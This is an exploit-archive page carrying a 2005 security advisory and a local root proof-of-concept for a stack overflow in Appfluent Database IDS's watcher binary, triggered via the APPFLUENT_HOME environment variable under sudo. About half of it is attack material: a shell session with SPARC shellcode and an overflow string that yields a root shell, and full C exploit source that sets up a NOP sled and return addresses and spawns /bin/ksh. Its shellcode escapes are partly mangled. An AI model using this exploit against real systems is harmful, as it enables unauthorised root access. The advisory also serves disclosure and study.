[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Appfluent Database IDS < 2.1.0.103 (Env Variable) Local Exploit
# Published : 2005-12-07
# Author : c0ntex
# Previous Title : SCO Openserver 5.0.7 (termsh) Local Privilege Escalation Exploit
# Next Title : QNX RTOS 6.3.0 (phgrafx) Local Buffer Overflow Exploit (x86)
/*
*****************************************************************************************************************
$ An open security advisory #14 - Appfluent Database IDS Environment Variable Overflow
*****************************************************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
2: Bug Released: December 07th 2005
3: Bug Impact Rate: Hi
4: Bug Scope Rate: Local root
*****************************************************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************************************************
Appfluent Database IDS v2.0
http://www.appfluent.com
"Appfluent Technology is the leading provider of data usage and query performance software designed to
help IT organizations improve performance of Business Intelligence (BI) and enterprise applications,
reduce the number of databases they maintain and quickly deploy new applications. Appfluent provides a
suite of products that clean up and consolidate databases, optimize query performance based on usage,
and rapidly analyze applications for both test and production environments."
Appfluent provide a Database IDS system that monitors all SQL traffic in real time, logging every user
defined transaction to a database, providing an audit trail of all transactions that take place. There
are several processes that ecumulate together to provide the IDS solution, including watcher, analyser,
alerter and reporter.
There is a stack based buffer overflow in all binaries that allow for some malicious attacker to gain
unauthorised code execution on the system where the application is installed. Due to incorrect use of
strcpy(), and a lack of correct bounds checking, a user can manipulate the $APPFLUENT_HOME environment
variable to overflow the stack buffer.
The problem is specific to the watcher process, as it needs to be run as root due to the fact that it
sniffs all traffic going to an interface. A script installed in $APPFLUENT_HOME/server_oracle/bin is
supplied so that administrators can run the process via sudo.
When run with sudo, we are provided a vector for root compromise as a default sudo install on Solaris
(this example) and other operating systems honour the setting of environment variables. As such, when
an attacker crafts $APPFLUENT_HOME in a malicious manner and runs the watcher process, root access to
the system is gained.
There are a few requirements that need to be met for the attack to be successful, and they include:
1) User is in the sudoers file and is defined as able to run the watcher process
2) Sudo honours environment variables, meaning env_reset or the likes is not set
Please note that users must set, or have $APPFLUENT_HOME set for the product to work, and if the above
two requirements are met, an attacker is guaranteed to gain unauthorised root access to the system.
Appfluent have released a fix and is provided in the latest version of the product => Ver: 2.1.0.103
###
## Proof run with a default sudo install from sunfreeware.
###
[c0ntex@ ~/vuln]$ export SHELLCODE=`printf "x90x90x90x90x90x90x90x90x90x90
x90x90x82x10x20x18x91xd0x20x08x90x02x60x01x90x22x20x01x92x10x3f
xffx82x10x20xcax91xd0x20x08x82x10x20x2fx91xd0x20x08x90x02x60x01
x90x22x20x01x92x10x3fxffx82x10x20xcbx91xd0x20x08x94x1ax80x0ax21
x0bxd5x9axa0x14x21x6ex23x0bxcbxdcxa2x14x63x68xd4x23xbfxfcxe2x23
xbfxf8xe0x23xbfxf4x90x23xa0x0cxd4x23xbfxfdxd0x23xbfxecx92x23xa0
x14x82x10x20x3bx91xd0x20x08x82x10x20x01x91xd0x20x08"`
[c0ntex@ ~/vuln]$ export APPFLUENT_HOME=`perl -e 'print "A" x 576'``printf "xffxbe
xfaxd0xffxbexfaxd0"`
[c0ntex@ ~/vuln]$ sudo /tmp/watch/watcher -sc
Password:
Version: 2.0.0.103
do_process: Exception:
file: file_stream.cpp
line: 338
message: FileStream: fopen : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??úD??úD/oracle
/config/config : 78 : File name too long
code: 78
stack:
#0 void IC::ConfigFile::load(IC::StrP) at config_file.cpp:35
#1 virtual void IC::ServerConfig::load() at /home/ask/lab/v2_0/app/product/server/lib/libserverconfig/server_config.cpp:70
#2 virtual void IC::Watch::run(bool, bool) at /home/ask/lab/v2_0/app/product/server/lib/libwatch/watch.cpp:41
#3 int do_process(bool) at /home/ask/lab/v2_0/app/product/server/bin/watch/do_process.cpp:21
#
#
# uname -a
SunOS 5.8 Generic_117350-24 sun4u sparc SUNW,UltraAX-i2
#
# id -a
uid=0(root) gid=1(other) groups=1(other),0(root),2(bin),3(sys),4(adm),5(uucp),6(mail
),7(tty),8(lp),9(nuucp),12(daemon)
#
Greetings to everyone I know ;-)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define DAHBUF 591
#define NOP 0x90
#define SUDO "/usr/local/bin/sudo"
#define VULN "watcher"
#define WOPT "-sc"
char shellcode[] = "x20xbfxffxffx20xbfxffxffx7fxffxffxffx90x03xe0x20"
"x92x02x20x10xc0x22x20x08xd0x22x20x10xc0x22x20x14"
"x82x10x20x0bx91xd0x20x08/bin/ksh";
char retloc[] = "xffxbexfdxe9";
char retlok[] = "xffxbexfdxed";
int main()
{
char env[DAHBUF+9];
puts("nLocal root proof of concept for Appfluent IDS Watcher environment overflow");
puts("found and developed by c0ntex || c0ntexb@gmail.com || www.open-security.orgn");
memset(env, NOP, DAHBUF);
memcpy(env + 100, shellcode, strlen(shellcode));
memcpy(env + DAHBUF, retloc, strlen(retloc));
memcpy(env + DAHBUF + 4, retlok, strlen(retlok));
env[DAHBUF+9] = ' ';
strncpy(&env[0], "APPFLUENT_HOME=", 15);
if(!env) {
puts("barfed!");
return(EXIT_FAILURE);
}
putenv(env);
if(execl(SUDO, SUDO, VULN, WOPT, NULL) < 0) {
perror("execle");
return(EXIT_FAILURE);
}
return(EXIT_SUCCESS);
}
// www.Syue.com [2005-12-07]